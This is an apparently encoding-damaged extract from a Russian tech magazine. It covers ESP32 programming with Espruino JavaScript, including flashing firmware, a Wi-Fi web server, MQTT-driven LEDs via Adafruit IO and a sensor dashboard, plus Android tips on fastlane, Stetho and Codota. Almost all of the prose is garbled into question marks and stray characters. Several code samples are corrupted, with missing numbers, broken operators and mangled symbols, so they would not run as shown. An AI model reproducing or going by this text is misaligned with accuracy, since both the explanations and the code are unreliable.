???�????,� ??� ???� ???�??�?� ????�?� VideoView,� MediaPlayer
?� SurfaceView,� ?� ???�?????� ????� ??????� ????� ?� ???�???�???� ???�??� ????
??� ?????�??�??.� ????� ????� ?????� ??????�??,� ??� ???� ???�??�??� ???�????�?.
?????�????�???�?????�??�???�??�?��??�?.�??�?�????�??�?.
???�?????��??????�??�?牜??�??�???燗ndroid燙amera2燗PI��??????
RxJava2�.
???�??�?�??�???�???�??????�??�???�?�燭imber�燩honograph.
10.�????�???????�????�??????????????�???
??????????��???????�??,�??�??????,��??�?????
???????�??�????
??�??????�?� ???�?????� ???� (?� ???� ???� ???�?� ??� ?????�???),� ???� ???� ???� An?
droid� ??????�?� ?� ???�????�??� ??????.� ????� ????�?� ?� ??????� ???�?????
??�??�????�???�?????�??燗RM????�??�????�??�???�??�???�?�?????�?
???�???�?.燗pple�??�???�??,�??�???,��???�??�?�???�????�??�???�???
???�????,��??牜???�??????�??�?粻??????�????�???�?,��?????�??�???�
????�?� (???�???� ???�????�??� ???�??�????)� ????� ??� ???�???�?????�????,
?� ???� ????,� ???� ????????� ???� ???�???�??� ???�?� ???�??�?????� ???�?� ???
??�??????.
??�?� ????� ???� ?????�???�??,� ?� ???� ?????� ??????� ??� ????�?� ?????�???
??????,�?��???�?????�?�?�??�????�????��??�??�??�???�??.�)��???�
??� ????� ???�??�???� ???????�???,� ?� ?????� ?????�??� ???�??� ??????�????�
????�???�???�????��??�???�?�?�???�?�???�?????.
??????
JAVASCRIPT
???�?????
????
??????�??????
vpap1997@inbox.ru
ARDUINO�??????,
??�??????????燛SP32!
??�????��??????�?�????�??�??��??�??�???,�???�???�
??�?�??�??????營oT�????�???�燙isco,�燬amsung.�?�????�
????�??� ????� ???�??� ??????�???� ??� ????�???�??� ??????
???�????,� ??????�?� ???????,� ?� ??� ???�?� ???� ????�????�?
???�?�?�????�??�?�??�???�?�????�?�????�??????
??????� ?????�??????�?,� ???????� ???� ????� ???�?� ???�????�
?????��????�??�??????.
?????�????�???????
???�?� ??????� ??� IoT� ???????� ?� ????????,� ?????� ??� ???�??� ???????,� ???????
??� ???�??,� ?????� ESP8266.� ?� ???�???�???�?,� ??� ????�???� ???�??� ????�
???????:� ???????,� ???�?� ???�?????� ????� ??� ???� ????�?,� ???�???�???
??????�?????� ???� ???� ?????�??????�??� ??????�???� ?� ???�??�???� ?� ????�??
Arduino?based� ???�????.� ??� ESP8266,� ???????�??� ?� 2014� ????,� ??????�?
???�??� ?????�??� ????�????�???� ???�???� ????�?????�??,� ?� ?� 2015� ????� ????�
?????????�????�??燛spressif�????�???�????�??�????�???�??�燛SP32.
???�????�??�?燛SP8266�燛SP32
???�?� ???� ??,� ???� ?� ?� ???�??� ?� ESP8266,� ???�????�???� ???�???� ??????�?
???�?�???,�?????�???�?�?�????�??�????�???�???.��??�??�?????�??
???�???� ???�?????�???� ?� ???�???�???� ??� ???�?� MH-ET� LIVE� ESP32
DevKit.�??�?�??�???�?�???�????�?�??�??�????�?�??????????????�??
Amperkot.
Pinoutmap�??�?
????????�???????????????
???���????�??�?,�???�??�??�?燛SP32,�燤H?ET燣IVE燛SP32燚evKit�???
???�????�?� ????�??� ?????� ???�??� ????�????�???�??.� ??????�??,� ???� Ar?
duino燙,�?????�??,燣ua,��??????�?��????�?????�燤icroPython�燛spruino.
???燛spruino��???�?燡S�??�???�????�???�??�??�????�???�????��??
???�??�???�???�燷[,�?�� ???�?????�??�???????�?????�???�?�?�??�?燛s?
pruino燩ico,�??????�??�??燛spruino.
INFO
?�
??????�??,�
???�?????�??�
Espruino
??燛SP32�??�?�?�??�?�????�???.�????�???�
??????�??,� ???�????� ???????�??� ??� ???�???
?� Bluetooth,� ?????�????.� ??� ???� ???� Espruino� ?
open爏ource�??�??,�????�????�???????�???
???�??�????�????.
??�????�?
1.�??�???�?� ??� ???�????�??� ???�?� ???�??� ????�?� Espruino.� ?� ????
??� ??????�??� ???????� ????�??,� ??� ???�?� ???�???� ???�??�?� ??????�
???????�?:
#燝et爐he燛spruino爏ource燾ode
git燾lone爃ttps://github.com/espruino/Espruino.git
cd燛spruino
#燚ownload燼nd爏et爑p爐he爐oolchain�('source'爄s爄mportant爃ere)
source爏cripts/provision.sh燛SP32
#燙lean燼nd爎ebuild
make燾lean�&&燘OARD=ESP32爉ake
2.�??�????� ??� ??� ???� ??� ?????� ????�????�?????� ??� JS,� ???� ????�??�?� ???
???�?�????燩ython,��??�???�?爀sptool.py.�??�????�???�??�???�??
??????,�??�?,�??�??�??�???�??�?,�??�???�??,�??燩ython�??�???�???�
???,�??�????�?�??�???��??�???/???�?????:爌ip爄nstall爀sptool.
3.��??�?????�????�?��??�?��??�??�??.�??�?�?????�??�?燛spruino,
?????� ?????� ???�?� bootloader.bin� ?� partitions_espruino.bin.
???�???�??????�??�????�?,�?��?????�??�???�??�?�????�?�???,
???�?�?�??�??�?�??�???�?�???.
4.�?�??�???�??�???�??�??�?,�?�????�???�???�???,�??�??�??��???�
???� ???�???,� ??� ????,� ?� ???�?� ???� ????�??????�?� ???�???� ???�??� ???
???�??�?.�????�??�?????�???爀spruino_esp32.bin.
esptool.py燶
牋??chip爀sp32牋牋牋牋牋牋牋牋牋牋燶
牋??port�/dev/ttyUSB0牋牋牋牋牋牋牋\
牋??baud�1600牋牋牋牋牋牋牋牋牋牋\
牋??after爃ard_reset爓rite_flash牋燶
牋?z牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋燶
牋??flash_mode燿io牋牋牋牋牋牋牋牋燶
牋??flash_freq�m牋牋牋牋牋牋牋牋燶
牋??flash_size燿etect牋牋牋牋牋牋牋\
牋0x1000燽ootloader.bin牋牋牋牋牋牋\
牋0x8000爌artitions_espruino.bin牋燶
牋0x10000爀spruino_esp32.bin
???�???�??�??�?
IDE
???�????�???燛spruino�??�???�???營DE,燛spruino燱eb營DE.�??�???�????
???�??????�???�?�????� Chrome燱eb燬tore,�??�?�????�??�?�????�??�???�
????�??�??燱indows�(32��).
Espruino燱eb營DE
??�??� ???�??� ?????�??� ???�?� ???????� ?� ???�???�?,� ?????�?� COMMUNICA?
TIONS,� ?� ???�???�?,� ???� ???�????� ????�??� ???�????�?� ??� 115200,� ?� ???�?
????�???� ????� Save� on� Send� ?� No� ??� Yes,� ???�?� ???� ????�????� ???�?
??????�??�?�??�??.
??�???� ???�????�?� ?????�???� IDE,� ???�??�???�?� ?� ???�?� ?� ???�???� ?� ????�
????� 1+2:� ????� ??� ???????� 3,� ???�??,� ???� ???�??�??� ???�???�?� ?� ???�?
????????�??�????�??�?????.
Hello爓orld
??�???�??�??�???�????�???�??,�???�????�??�??�??�?????�???�??�??
???�???�????�???�??�??�????�???�????,�????�???�??�???�????��??
??????�???� Blink,�??????�????�????�??�???�???.�?�??�?????�???�?.
?????�?� ?????� ???�??� ????�?????� ???�??� ????�????� ???� ???????�??� ????�
????�???� ?� ???????� ????????�???.� ?� ???�???�???�?,� JS� ?� ???� ??� ????
????.
var爓ifi�爎equire("Wifi");
wifi.startAP('EspruinoAP',爗爌assword:�'0123456789',燼uthMode:�'wpa2'
},function()爗
燾onsole.log(`AP爏tarted`);
});
function爋nPageRequest(req,爎es)爗
爒ar燼�爑rl.parse(req.url,爐rue);
爄f�(a.pathname=="/")爗
牋爎es.writeHead(200,爗'Content?Type':�'text/html'});
牋爎es.end("<H1><center>Hello,燷[aker!</center></H1>");
爙爀lse爄f�(a.pathname=="/on")爗
牋爎es.writeHead(200,爗'Content?Type':�'text/plain'});
牋爎es.end("Enable");
牋燿igitalWrite(D2,爁alse);
爙爀lse爄f�(a.pathname=="/off")爗
牋爎es.writeHead(200,爗'Content?Type':�'text/plain'});
牋爎es.end("Disable");
牋牋D2.write(true);
爙爀lse爗
牋爎es.writeHead(404,爗'Content?Type':�'text/plain'});
牋爎es.end("404:燩age�"+a.pathname+"爊ot爁ound");
爙
}
require("http").createServer(onPageRequest).listen(80);
???�?�???????,�??�??�?????�???�????�?�????�?�???�???�?�?�???�???
JS.�????�??�?????�?,�??�?�??�???�??��???�???�????.
? var� wifi� =� require("Wifi")� ?� ???� ??????� ??� ???�??�???� ?????�
???????� ???� ??????� ???� ??????� ?� Wi?Fi.� ?????�?� ?????� ??????�?� ????�
?????:� ?� ????�?� ??� ???� ???�??� ?????�??,� ????� ?????�????� ?� ???�??�?
??????.� ?� ????� ???� ???�?� ???�?????� ?� ?????????????� ????�???� ???�??
???�???� require� ???�????�???� ???�?????� ????� require("https://
github.com/espruino/EspruinoDocs/blob/master/devices/
PCD8544.js")?,� ?� WebIDE� ???� ????�?� ???????� ??????,� ??� ????�????
??????�???�?爃ttps://www.espruino.com/modules.
? ???�?????� ????� ????� ????�???� ??� ???�????� ???�?� ???�???� ?� ???�??� EspruinoAP� ?� ???????� 0123456789.� ?� ???�??� ???????�?� ?????�?� ?� ????�
????�??????�?�???�???�??�???�???�????.
? ???�???� onPageRequest��???�???�?�??�??????�??.��???�??�???
???�???�???� ?????� ?� ???�???�???,� ???� ???�?� ???�???,� ?� ??????�??�?
??�??�???:
? ??�?� ???�???�???� ???�??� ????�???� ?� /,� ??� ???�???� 200??� ??????�??
?� ????�????� ????� text/html� 獺ello,� ][aker!�,� ?� ???????�??� HTML?
??????
? ??�?�??�???�???�???�???�???�????��/on,�?�??�???�0??�??????�
???� ?� ????�????� Enable,� ?� ???�?� ????�???� ???�???�?.� ???????,� ???
??????�???�?� ???�??�??� Arduin??????� ???�???� digitalWrite(pin,�
value)?
? ??�???�??� ????�??� ?� ???�??� ????�???� ???�??????� ?� /off,� ???� ????�
???????� ???�???�??� ??????�???�?� ??� ???�???� digitalWrite(pin,�
value),��????爓rite(value)?
? ??� ????� ??????�??� ???�???� ???�??�???� ????�?� �4� ?� Page� Not
Found�.
? ?�??�?????�???�?�???�???�?�??�???�?�??�??,��???�?????�??�???�
??爋nPageRequest,�?�??�??�?.
???�?� ????????,� ???� ??� ?????� ???�??�???� ???�?????� ???�???:� ????�??
?????,燞TML,燲ML��??�????.
RGB-???�????,�??????�???�?燤QTT
?????� ???�?� ???�????� ???�??� ????�?� ????� ??????�???� ????�?� ?� ???�???�?.
??� ????�?� ????�???/???�?????� ???�???�????� ???�?� ?� ???� ??????�?.
???� ????�????� ??????�??� ??????�??,� ?� ???�?� ???� ????�????� ?� ???�????
????�???�??�??????�?�????�?�?????�???�?�???????燫GB????�???�??.
???�???�???�?� ???� ?� ??.� ?� ?????�??� MQTT????�???� ?� ???�???� ????�??
Adafruit營O.
??� ????�??�???� ???�????� ???� ??????�??�?� ???�?� ???:� Toggle� ?� Color
Picker.
Adafruit營O燚ashboard
var爏sid��'SSID';
var爌assword��'PASSW';
var燾ount��;
var燣edPIN�燚23;
var爓ifi�爎equire('Wifi');
function燾olorall(color,count,pin)爗
燙olor_Array�爊ew燯int8ClampedArray(count*3);
爁or�(var爄��i�燙olor_Array.length;爄+=3)爗
牋燙olor_Array[i牋]�燾olor[0];
牋燙olor_Array[i+1]�燾olor[1];
牋燙olor_Array[i+2]�color[2];
爙
爎equire("neopixel").write(pin,燙olor_Array);
}
function爃exToR(h)爗return爌arseInt((cutHex(h)).substring(0,2),16);爙
function爃exToG(h)爗return爌arseInt((cutHex(h)).substring(2,4),16);爙
function爃exToB(h)爗return爌arseInt((cutHex(h)).substring(4,6),16);爙
function燾utHex(h)爗return�(h.charAt(0)=="#")�爃.substring(1,7)�爃;
}
wifi.connect(ssid,爗password:爌assword},爁unction()爗
燾onsole.log('Connected爐o燱ifi.營P燼ddress爄s:',爓ifi.getIP().ip);
});
var爉qtt�爎equire("MQTT").connect({
爃ost:�"io.adafruit.com",
爑sername:�"<LOGIN>",
爌assword:�"<SECRET?KEY>"
});
mqtt.on('connected',爁unction()爗
爉qtt.subscribe("<LOGIN>/feeds/exampledashboard.enable");
爉qtt.subscribe("<LOGIN>/feeds/exampledashboard.colorlamp");
燾onsole.log("Connect");
});
mqtt.on('publish',爁unction�(pub)爗
燾onsole.log("topic:�"+pub.topic);
燾onsole.log("message:�"+pub.message�);
爄f�(pub.topic�=�"<LOGIN>/feeds/exampledashboard.enable")爗
牋爄f�(pub.message=="OFF")爗
牋牋燾olorall([0,0,0],燾ount,燣edPIN);
牋爙爀lse爗
牋牋燾olorall([128,128,128],燾ount,燣edPIN);
牋爙
爙爀lse爄f�(pub.topic�=�"<LOGIN>/feeds/exampledashboard.colorlamp")
{
牋爒ar爃ex_color�爌ub.message;
牋爒ar爎gb_color�燵hexToG(hex_color),hexToR(hex_color),爃exToB(
hex_color)]�
牋燾olorall(rgb_color,燾ount,燣edPIN);
爙
});
mqtt.connect();
????�????��??�???�???�????.
? ???�?????�??�???�?�??????�??,�???�??????�??�??�??�????�燱i?
Fi,��??�?�??????�??�??�???�???��??,��?????�?�??�??�??�???.
? ???�???� colorall(color,count,pin)� ????�???� ??� ???????�??�??
????�???�??� ????� ???�???�???� ?� ????� ????.� ???� ???�?� ???�???� ???�???
???�??,��??????燾ount�??�???????�?�??�???�??�??�????�???�???�
??.� ??� ????� ???� ????�???�??� ????� ???�???�???� ?� ?????� ????� ???�??� ????�
???� ????� ?????:� [0,0,255,0,0,255].� ???� ???�?� ????????,� ?� ????� ????�
????� ???�??�???�?� ????�????�??�??� ???�????�?� neopixel.� ?� ???� ????
????�??�??� ????:� ?????� ??????�??� ???????� ???�??� ?� ??� RGB,� ?� GRB.
???�????�????�?,�?�??�???.
? ???�?????� ??????� ???�???� ???�?� ???� ??????�?� ???�?� ??� ???�????�
???????�??� ??????� ?� RGB.� ???� ???� ??????�??�?,� ????� Color� Picker
??????�???�???�??�???�?�???�#RRGGBB.
? ???�??�???�?� ?� Wi?Fi,� ?� ???�??� ???????�?� ???�??�????� ?� ???� ???????�?
????�????.
? ??�???� ????�?????� ???�??�???�?� ?� MQTT????�???.� ?� ???�??� ???,� ???�?
???�???�??� ?????�???,� ?????�??�????� ?????� ??????� ????�?,� ???� ?????
???�????�?� ??� ???�???.� ??� ?????� ??????�???� ??� ???�???�???�?� ???,� ???
???�??�???�?� ??� ???????�?,� ?????�?,� ????� ???�??�????� ?� ???????�?
??�??�???,�??�?�??�??�??�???�?.�????�?,�???�???�????�?�??�????�
???�??�??�????,��??????�???�?????�???.
? ??�???� ????� ???�???� ???�??�????�????� ???�???.� ?� MQTT????�???� ????
???�?????�??????,�?�??????�??�?�(?�??�?)�???????�???�??�???.
? ???�?� ?????�????� ????�??�???� (connected),� ????� ???�?????�?
(mqtt.subscribe(topic))� ??� ????�??????� ??????:� ????� ????�????�
???�?�????�?????�?,�??�??�燙olor燩icker??.��??�????�??�??????
?�??�???�???�????�?�???????�??�??�????.
? ??�???� ????� ???�?????,� ???� ????�?????� ??????� ???� ????�????� ?� ???
???� ????� ??????� ???????????� ????�????� (publish).� ???� ??????
???????�??�?????��????�???�????.
? ??�??�???????� ?????� ???�??�???� ???�?� ???� ????�????:� OFF� ???� ON.
?????�?,�??�??�?????�??�??�???�???�????�???�?????�??�?????
???�??�???�??,��??�??�?????�??�???�????��???�???�?�????
????�?????�?.��????�?????�??�??�???�??�????�??�??,��%??
????????.
? ??�?� ??� ????�???????� ????�???� ????,� ??� ??� ??????�??� ????� ?� RGB,
???�??�燝RB???????��?????�???�???�???�?�??�??�???�??.
? ?�?????�???,�???�?????�??�????�???�??�??�????�燤QTT????�???.
MQTT-???????
???�?� Adafruit� IO,� ????� ?� ???�??� MQTT????�???,� ?� ???????� ???�??�?????�
??????.�???�???????�??�??�?????牜???�??粻???????�??��??�??�?�?
???�????� Eclipse� Mosquitto.� ????� ???�??� ???�?� ????�?????� ??� ?????�??
?????�???�??�?燫aspberry燩i��??�?????�????�????�??�??� mosquitto_?
sub� ?� mosquitto_sub� ????�??� (???� ??????�??� Python)� ???�?????� ??????,� ????�
????????�?�?�??,�?????�???�???�????.
?燗rduino????�??�????�?????�??�??�??� Blynk.��??�?�??�???�???�???�
?????�?� ???� Arduino,� ???�???� ???� iOS� ?� Android,� ?� ???�?� ???� ???�??� ????�
???????�???�?�????燝itHub��????�???�??�??�?�????�????�??�?.�???
??????�??� ?????:� ???�??� ???�??,� ?????�?????� ??� ??????� ???�???�??,
�??�?粻????�????�??�??????�??�???�?????�??�??.�???�???�???�????�?
???�??� ??� ????�???�??� ???�???�??,� ??� ????� ????� ???????�?� ???�???� ????�
?????�??�???�????��???????�?�燗pp燬tore�/燩lay燤arket�(?燘lynk��????
???�???�?),�?�??�??�?�??�???????�?.
???�?� ???�?,� ?� ?� App� Store,� ?� ?� Play� Market� ???????�?� ???�????�?� ???�?
???�??�???� ???�???�??,� ?� ?� ???????�?� ????� ???�?� MQTT????�????.� ????�
?????,� CloudMQTT.� ?� ????� ???�????� ???�???�??� ?????� ?� ?????� ??
???�?????.
???�???�??�??�?�??�?????�??�???
????�??�??,�??��??�???�??�???,��??�??�??�????��??�??�?�??�???,
???�?�??��????�?.�??�???�?�???�???�?�?????�???�?�???�??�??????�
??�??�??,�????�?�??�??�???�?,�??�?��???�????�??�??�???�???�??�?
????,�??�??�?�???????�??�???�?,��??�????�??�??�?.��??�???????�
???�????�?????�???�????�?�?燗dafruit營O.
???�???��??�??�?????:
? ???�??�???�?�???��??�???�???
? ???�??�??�?????�?��???�????燚HT11��??�?????
? ???�??�??�?��??�????.
???�?�??�?,�??�??????�??�??�??�??�?????�??�?�???.
???�?�??�??�????
var爏sid��'SSID';
var爌assword��'PASSW';
var燭empRTSensorPin�燚27;
var燱aterSensorPin�燚26;�//�?????????�??
var燬oundPin�燚14;�//�?????????�??
var燫elayPin�燚12;
const燬oundLevel��8;
const燱aterlevel��;
var爓ifi�爎equire('Wifi');
wifi.connect(ssid,爗password:爌assword},爁unction()爗
燾onsole.log('Connected爐o燱ifi.牋IP燼ddress爄s:',爓ifi.getIP().ip);
爉qtt.connect();
});
var燿ht�爎equire("DHT11").connect(TempRTSensorPin);
var爉qtt�爎equire("MQTT").connect({
爃ost:�"io.adafruit.com",
爑sername:�"<LOGIN>",
爌assword:�"<SECRET?KEY>"
});
mqtt.on('connected',爁unction()爗
燾onsole.log("Connect");
});
function燛nableLight()爗
燿igitalWrite(RelayPin,true);
}
setInterval(function()爗
爄f�(analogRead(SoundPin)*100>SoundLevel)爘|�(analogRead(WaterS
ensorPin)�*�0�燱aterlevel)爗
牋燚2.write(false);
牋燛nableLight();
爙
},�0);
setInterval(function()爗
燿ht.read(function�(a)爗console.log("Temp爄s�"+a.temp.toString()+"�
and燫H爄s�"+a.rh.toString());
爉qtt.publish("<LOGIN>/feeds/smartroom.rh",燼.rh.toString());
爉qtt.publish("<LOGIN>/feeds/smartroom.temperature",燼.temp.toString
());
爉qtt.publish("<LOGIN>/feeds/smartroom.waterlevel",""+analogRead(
WaterSensorPin));
},5000);
?� ???�??� ????�????� ???� ?????� ??????�??�?� ???�??�????� ?� Wi?Fi� ?� MQTT?
???�???.� ???� ???�????�?� ???�??� ????�????,� ?????�???�??� ????�??� ?
MQTT????�??�??�??�??�????�?�??�?????�???�?�?�????�?????.
?� ??????� ???�???,� ?????� ????� ???� ????� ??� ?????� ??????�?????.� ?� ????
???�??�??�??�????�????�?�??�?�???�??????�?燛SP8266,�?�???�???�
???�??�???�???�?燛SP32,�???�??�??�?�??�??�??�???�??�???.
???�??�???�??�?????�?��???�????�????�??�?�???�???�??�??�?????�
??,�??????�???�?????�??�??�???:爎equire("DHT11").
??�?� ???????�???� ????�??� ????�???�?� ???�??� ??� ???�????� ????.� 0� ?
????�??�?????,��???�???.�????�???�??,�??�??�??�??�?,�???�????�
??� ?� ???�??� ??????�???� ?????� ????,� ???� ???�?� ?????????� ?????� ????????.
???�???�?�????�??�??營oT????�???.
??� ?????� ????�??�??� ?� ???,� ?????�?,� ???�???� setInterval(function,
time).� ????,� ???� ?????� ??� Arduino� C,� ?????�??� ????????� ???�???� void�
Loop(){}� ?� ???� ???�???,� ???????� ???�???�?� ??????�???� ???�?� ???�????
????�???.�??�??,� setInterval�????�?�??�?.�?????�??,�??�?�(?�??�?)
??????�??�?�??�???��??�??????�??,��?????�??,�??�?�???????�?????
???�???�??�??�???,�??�??��??�??�??�????.
???� ??� ????�??�??� ????�??� ?� ????� ????� ???????�??� SoundLevel� ?� Wa?
terlevel,� ???�???�?� ?� ???�??� ????�?� ????,� ?� ???�??� ???�?� ?� ???�???�??,
??????�??�?�??�??�??�??�????�??�?????�?��???�?????�??�??�?�?????�
?????.�?�??�???�??�?�???�??�??�????�??????,�??�?????�??�?�???�???�
????�??�?.
???�?� ???�?,� ?� ???�??� ?????�?� ??????�?� ?????� ???�???� mqtt.publish(
field,data),�?�?????�???�??�????�???燿ata��????�??�????�?燤QTT?
???�???.
SmartRoom燚ashboard
??????????
???�???,�????�?????��??�??�?????,�???�???�??�?????�??�?????,�??
?� ???�????� ????�???�??� IoT??????�??� ???� ??????� ????�???.� ???�???�???�?,
JS,� ??� ???????� ??????�???� Espruino,� ??????�?� ???�?????� ??,� ?� ???????�??
???�??�?�???��??????�?�??�?????�?.��?????�?????��????,�??�?????�
???????�??� ???�????�?� ?????�?,� ???� ?????�??� ??????�???.� ?� ?????�??� ????�
????,�??�??????�??�?�??,�??�?,�??�???�????�?,�??????�???�?燱i?Fi,
???�?��???�??�??�??�?��??�???�???�?�??�?,�?????�?????��???�?,
?� ?� 10?20� ???� ????�?,� ???� ????,� ????�??????� ???� ???????�??� ????�??
?????�??.�?????�????�??.�)
WWW
????�????�??�???燛spruino
???�??�???�??�
?????,�
???�????�??
ESP32�燛spruino
???�???�??????�??�?????�??�??????�?
????�?,�?????�????�??��???�?
??????
??????????????
????????????
???????�?????
????????燯nixoid�燤obile
zobnin@glc.ru
?????????�????????,
???????�??????��?????
Android� Studio� ?� ????�?� ????�??????� ???�?� ???�????�?,
??� ?????�?� ???�??�????�???� ???�?� ???,� ???� ???�?� ????�
?????�???.� ??� ?� ??� ???????� ???�?� ??????� ??� ???� ??????,
?�??�?????�??�?�??�????�?�??�?�????�??�??�??�???�
????�??.� ?� ????� ??????� ??� ???�??�??� ?� ??????� ???�??�???�
???,� ?� ??????�?� ??� ???�?????�?� ???�??� ????�?????�?
???�??�????�??.
1.�??????燗PK��????????
??� ???� ???�?� ?????�?� ???�????,� ???????� ????�?????� ?????�???,� ???�?
????�???????� ?????� ???�??� ???�???�??� ?� ???�???:� ?????�???� ?????� ????�
???�????�????,� ????�???�?,� ????�?� ????????�????,� ??????�???� ???�??�??
????�?,� ??????�?� ?????�??� ????,� ?????�???� Google� Play� Console,� ????�
??????�?� ?????� ???�??,� ??????�?� ???�?� mapping.txt,� ???�?� ?� ???????
????????�???�???�???�?�?�???�??.
??� ????� ????� ???�??� ????� ????�?� ???�???� ???�?????� ???.� ???� ?????�?
?????�??,� ??� Android� Studio� ??� ???�??�????�?� ???????� ???????� ???� ????�
???????� ???�?� ?� Google� Play.� ????� ???�????�?� ?????�???� ????�???� ???�??
???�???�??� ?� ???�??�?� ?� ???� ??????� ??????.� ???� ???�???�?� ??� ???�???�?,
????� ????� ????� ?� ???????,� ???????� ???�???�??� ???� ?� ???� ??????� ???� ?????,
??,� ????� ??� ????�????� ???�?????�??� ?????� ????,� ???�???� ???�????�?� ????�
??????�??.
????�?�????�?�?????�??�????� fastlane,燚evOps?????�????�??�????�
????�????�???�?��??�??????�??�???�??�燝oogle燩lay�燗pple燗pp燬tore.
??�???�?�??�???�??�??�????,�??????�???�?????�????�???�(???�????,
???�???� ?????�??� ???�??,� ??????� ??� ?� Google� Play� ????�?� ?� ????�??�??,
??????�????�?????��??�???爉apping.txt),�????�????�????�???�?????�
??��??�???,�爁astlane�???�?�??�???�??�?????�?�???.
??�???????爁astlane�????�???�?:
$爏udo爂em爄nstall爁astlane�NV�//燣inux
$燽rew燾ask爄nstall爁astlane�//爉acOS
??�??� ???�?� ?????�?� ?� ???�???� ???�????�???� Google� Play� ?� ???�???�?????
?????????�??�??�???�燗PI燝oogle燩lay:牜???�???�?��???�??�??�????�???
?� ???�???� ????�??� ???�???�??�.� Google� Play� ????�????� ????� ?????�?
?� Google� API� Console� ?� ???�???� ???�?????� ????�??.� ?� ???�??�?� ??� ???�???
???�???�?????�???��??�???�??�?�???�(??�????��??�?爅son).
???�?�???�????�??�??,�?????�??��??????�??�???��????�???�???�
?????�????:
$爁astlane爄nit
???�???� ????�??� ?� ????� ???�??� ???� ???�???�??� ?� ???�???� com.exam?
ple.myapp��???�????�???�?�???�?�??�?.�??�?�??�?�???�?????�?????�
????�????�?
$爁astlane爏upply爄nit
??�?� ???� ????�??� ????�?,� fastlane� ???�???� ???�??????� fastlane/metadata/
android,��??????�????�??�???�?�??????�??�??�???�??�?燝oogle燩lay:
???�????�?�??�??�??�??��????�???.
???�?� ????�?????� ?� ??????�??� ???�??� ????�?.� ???�????�??� ????� ???
??????�?� ????????�??� ???�???�??� ?� ????�???�??�?� ???�???�?� ??
?� ???????????� ??� Google� Play� ????�?� ?� ????�??�??.� ???� ???�???� ????????
?�???爁astlane/Fastfile:
default_platform(:android)
platform�android燿o
爈ane�beta燿o
牋�#�???????,�??�??????爂it??????燽eta
牋爀nsure_git_branch(branch:�"beta")
牋�#�??????�???
牋爂radle(
牋牋牋爐ask:�"clean燼ssembleRelease",
牋牋牋爌roperties:爗牋牋�
牋牋牋牋牋�"android.injected.signing.store.file"�>�"????/??/?????/
????????/???????",
牋牋牋牋牋�"android.injected.signing.store.password"�>�"??????",
牋牋
牋牋牋牋牋�"android.injected.signing.key.alias"�>�"AIO燣auncher",
牋牋牋牋牋�"android.injected.signing.key.password"�>�"??????",�
牋牋牋爙
牋�)
牋�#�??????�???????
牋燾hangelog�燜ile.read("../changelog.txt")
牋�#�????????��?????????
牋爑pload_to_play_store(track:�'beta')
爀nd
end
??�???,�??�?�???�???????�???,�??�????�?�????�???�????�????�?:
$爁astlane燽eta
2.�?????????燙HROME燚EV燭OOLS�??�??????
??????????
?� Android� Studio� ????� ?????�????� ????????,� ???????� ???????� ??????�?.
??� ????�?� ????�?� ???????�?� ?????�????�?,� ????�?????� ???�?� ?????�???
????�????�?�??????�??�????,�???�??????�????�????�??�??�??燬QLite
?� ???�??�???�?????� ????�??�??� ?????�??� ???�??�??� ????????�?,� ???�?
????�???�?????�??�???�??�?�???????�?.
???�???� ???� ???� ???�?� ?� ???????� ???�????�?� Stetho,� ???�??????�??
?燜acebook.�??�?????�??�??�??�??�????�?��?????�??�???:
dependencies爗
牋�...
牋爄mplementation�'com.facebook.stetho:stetho:1.5.0'
牋爄mplementation�'com.facebook.stetho:stetho?okhttp3:1.5.0'
}
???�??� ????�?� ??� ???�?????�?� ?� ???�?,� ????�?� ????� ??� ??????�????� ????�
?????�?燨kHttp��?????�????�???�???�????�?�??�???.
??�??� ???�???� ?????� MyApplication� ??� ???�?????� ?????�????� (???
?????�???�??�??�????�????��????�??�???�????????�?????燗pplication):
public燾lass燤yApplication爀xtends燗pplication爗
牋爌ublic爒oid爋nCreate()爗
牋牋牋爏uper.onCreate();
牋牋牋燬tetho.initializeWithDefaults(this);
牋爙
}
??�???�?� ???�???�??,� ????�??�???�?� ??� ???�??�??�??� ????�???,� ??????�
????� Chrome� ?� ?????�???� ????�???� chrome://inspect.� ??� ????�?� ??????�?
???�??� ???�??�??�??� ??????�??� ??� ????�??� inspect.� ??????�?� ??� ?� ?????�
????�?� ?� ?????�???�??.� ???�??� ???� ???�??� ???????�?� ?� ???�?????� ??????�
???:
? Elements��????�??�??�??�??�???????�??
? Network��??????�????�?????
? Resources�燣ocal燬torage��??�?????�???�??�??�??
? Resources�燱eb燬QL��???�??�???
? Console�燡S????�???,�??�???�?�????�???燡S????�?�????燜rida.
??�???,�??�???�????�?�??????�????�????�?????�???�???�?�??�?�???,
???�?�???????��??�????�????燨kHttp�??�?????�???�?:
.addNetworkInterceptor(new燬tethoInterceptor())
?????�??�??�??�??�???????�?�燙hrome燚ev燭ools
3.�???�??????,�?�?????�?燗NDROID燬TUDIO
????�??�?,� ?????�?� ???� ??� ????�??�?� ?� Stack� Over?ow,� GitHub� ?� Gist,� ???�?
???�?�??�???�?????�??????�???�??�??�?�???�?�??�??�????�??�???�
?????�???� ????�?????�?� ???� ?????�?� ?� ?� ???�?� ???�??�??� ???????�??
???????�??.� ???� ???�???�?� ???�???,� ???�???�?� ???�???�?� ??� ???� ????
???????,�?????��??�?????�??�??��????�??�??�????,��??????�??????�
????�?�???�????�???.
????�???�?�???�???�???��??�??�??�????�?????�?��??�???,�??�?
??????� ???�?,� ??� ????�??� ????�?.� ??� ?� ????� ????�???� ????�????�???
??????�?,�??�?�?�??�?????�??�?????�??�???�???�?�?????�???�??�?
????.� Codota� ????�?� ???� ????�???� (???,� ???�?� ???�???,� ????�???� ??
???????)� ?� ???????� ???�???� ???�???�??� ?� ???�????� ???�????� ????�?
??�???�??????�??.
???�?� ???�?� ?????�?� Codota� ????�????� ????�???�???�?� (??????�??� ?????�
???� Google� ???� GitHub),� ???�???� ????,� ????�?????� ???�??� (????�?????� ?????
???�???� ????� ??� ??????�?� ?� ???�???�?),� ???�???� ???�?????�??� ???�??????
???� ???�??�?� ????�?� (??� ????�????� Shift� +� Alt� +� Space).� ?????� ??� ???�???
????� ????�?,� ?� ???????� ???�?� ?????� ???� ????�???�??�?� ????� ????�?
???�??�???.
??�???�?�??�??�???�????�??�??,��???�?�??�???�?�???�???�??�??
?� ????� ????�???�?� ????�???� ????�????.� ?????� ????�??� ???�?� ???�???�???
?????�??�??�???,�????�?�?�???�??????�?��???????��??�????.�??�?
????,� Codota� ???????�???�?� ?� ???�?� ???�????�?,� ????� ???� ??� ??????� ??????
???�???�?�??�?�?�??�?�?????�???.
